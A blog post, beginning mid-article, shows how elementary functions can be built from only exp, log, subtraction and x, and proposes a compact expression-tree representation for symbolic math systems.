Then there's a field, where we can also divide functions by each other. This gives the rational functions in x: functions that can be written as a ratio of two polynomials. You can also think of it as a polynomial with rational coefficients, where the polynomial is also allowed to include terms like 1/(1+x) and 2/(3x+11x^2+5x^3).

The set of elementary functions is what you might call an "AP Calc function". Here you're allowed to use everything from fields: 0, 1, x, +, -, *, and /. You're also allowed to use powers, exponential functions, logarithms, trig functions (sin cos tan sinh cosh tanh), and inverse trig functions.

A fun way to build these up, though, is you can do it all with just the functions exp and log, subtraction, and the basic value x. Here's how!

To get "0", just write "x-x".

To get "1", write "exp(0)", or really "exp(x-x)".

Unary negation is subtracting from zero, so "-f" is "0-f" or "(x-x)-f".

Addition: "f+g" is "f-(-g) = f-(0-g) = f-((x-x)-g)".

Multiplication and division are accomplished through properties of log and exp. "f/g" is now "exp(log(f)-log(g))", and "f*g" is "exp(log(f)+log(g))" -- really, "exp(log(f)-((x-x)-log(g)))".

Powers are built using the fact that f^g = exp(log(f))^g = exp(log(f)*g), and multiplication from above.

We already have exponential and logarithms to start with.

The trig functions and inverse trig functions can be written in terms of exp and log, too, and I don't want to go through all of them. But to give an idea, first note that the imaginary number i = sqrt(-1) = -1^(1/2) = exp(log(-1)/2) = exp(exp(log(log(-1))-log(2))) = exp(exp(log(log((x-x)-exp(x-x)))-log(exp(x-x)-((x-x)-exp(x-x))))). You can check this on WolframAlpha!

Then we can build trig functions like

sin(x) = (exp(i*x) - exp(-i*x))/2i

tan(x) = i(1-exp(2ix))/(1+exp(2ix))

arctan(x) = (i/2)*log((1-i*x)/(1+i*x))

arcosh(x) = log(x + (x^2-1)^(1/2))

and so on.

Trees

This has given us a very reductionist way of expressing functions. Expressions are often given by expression trees. For the example from this recent paper,

Here some operations are binary (pow, times, plus, minus), some are unary (cos), and some are constant (3, x, 2, 1). This is an efficient way of writing down an expression, but it has a lot of information at each node, and that means handling them often has lots of different cases that need to be handled.

Let’s look at our formulation fairs for this simple formula. The expression, using the rules I gave above:

exp(log((exp(x-x)-((x-x)-exp(x-x)))-((x-x)-exp(x-x)))-((x-x)-log(exp(exp( log(log(x))-((x-x)-log(exp(x-x)-((x-x)-exp(x-x))))))-((x-x)-exp(log(exp( exp(log(exp(exp(log(log((x-x)-exp(x-x)))-log(exp(x-x)-((x-x)-exp(x-x)))))) -((x-x)-log(exp(log((exp(x-x)-((x-x)-exp(x-x)))-((x-x)-exp(x-x)))-((x-x)- log(x)))))))-exp(exp(log((x-x)-exp(exp(log(log((x-x)-exp(x-x)))-log(exp(x- x)-((x-x)-exp(x-x))))))-((x-x)-log(exp(log((exp(x-x)-((x-x)-exp(x-x)))-((x -x)-exp(x-x)))-((x-x)-log(x))))))))-log(exp(log(exp(x-x)-((x-x)-exp(x-x))) -((x-x)-log(exp(exp(log(log((x-x)-exp(x-x)))-log(exp(x-x)-((x-x)-exp(x-x)) ))))))))))))-exp(x-x)

And the corresponding expression tree:

Somewhat of a mess, certainly. But one neat thing is that now almost all of the data is structural, encoded in how the tree is built. Every leaf node is an x, every branching node is a -. This means we can forget all the labels on those, and still have our formula. The unary functions, exp and log, are inverses, so we never actually need to have both in the same string. They really just decorate the node below them. So we can build a more compact tree representation, where we omit the exp/log terms, and just label a node by an integer, of how many exp’s were above it. That is, exp(exp(x)) would be written “2″, and a log(x) would be written “-1″. This turns our tree into:

(Labels of “0″ are omitted. Better image can be found here) It's still not very clean, but you have to keep in mind that a lot of this is spent defining what "3" and "cos" are -- in fact, just “cos(x)” already has more than half of the nodes above.

One nice thing about this representation is that simplification rules can be defined from a very small set. For example, with the above definitions, the only properties you need to prove that x^1 = x, are that (f-f) = 0 for all f, and that f-0 = f. If you add that (f-g)-h = (f-h)-g, you can derive the commutativity and associativity of multiplication, as well as rules for how to cancel fractions. Rules like exp(f)/exp(g) = exp(f-g) come for free in the definition of division. More complicated simplification rules, like sin^2(x) + cos^2(x) = 1, require an axiom to encode distributivity, but then the come about as well.

It would be interesting to see a symbolic manipulation system based on a highly reductionist structure like this, to see if some problems would become simpler. Runtime efficiency would almost certainly suffer substantially, but “teaching” the computer about math might be easier, with less case splitting and hand-coded pattern-matching.

#cas symbolic-manipulation reductionism

Trending Blogs

Last Seen Blogs

Oh Hai There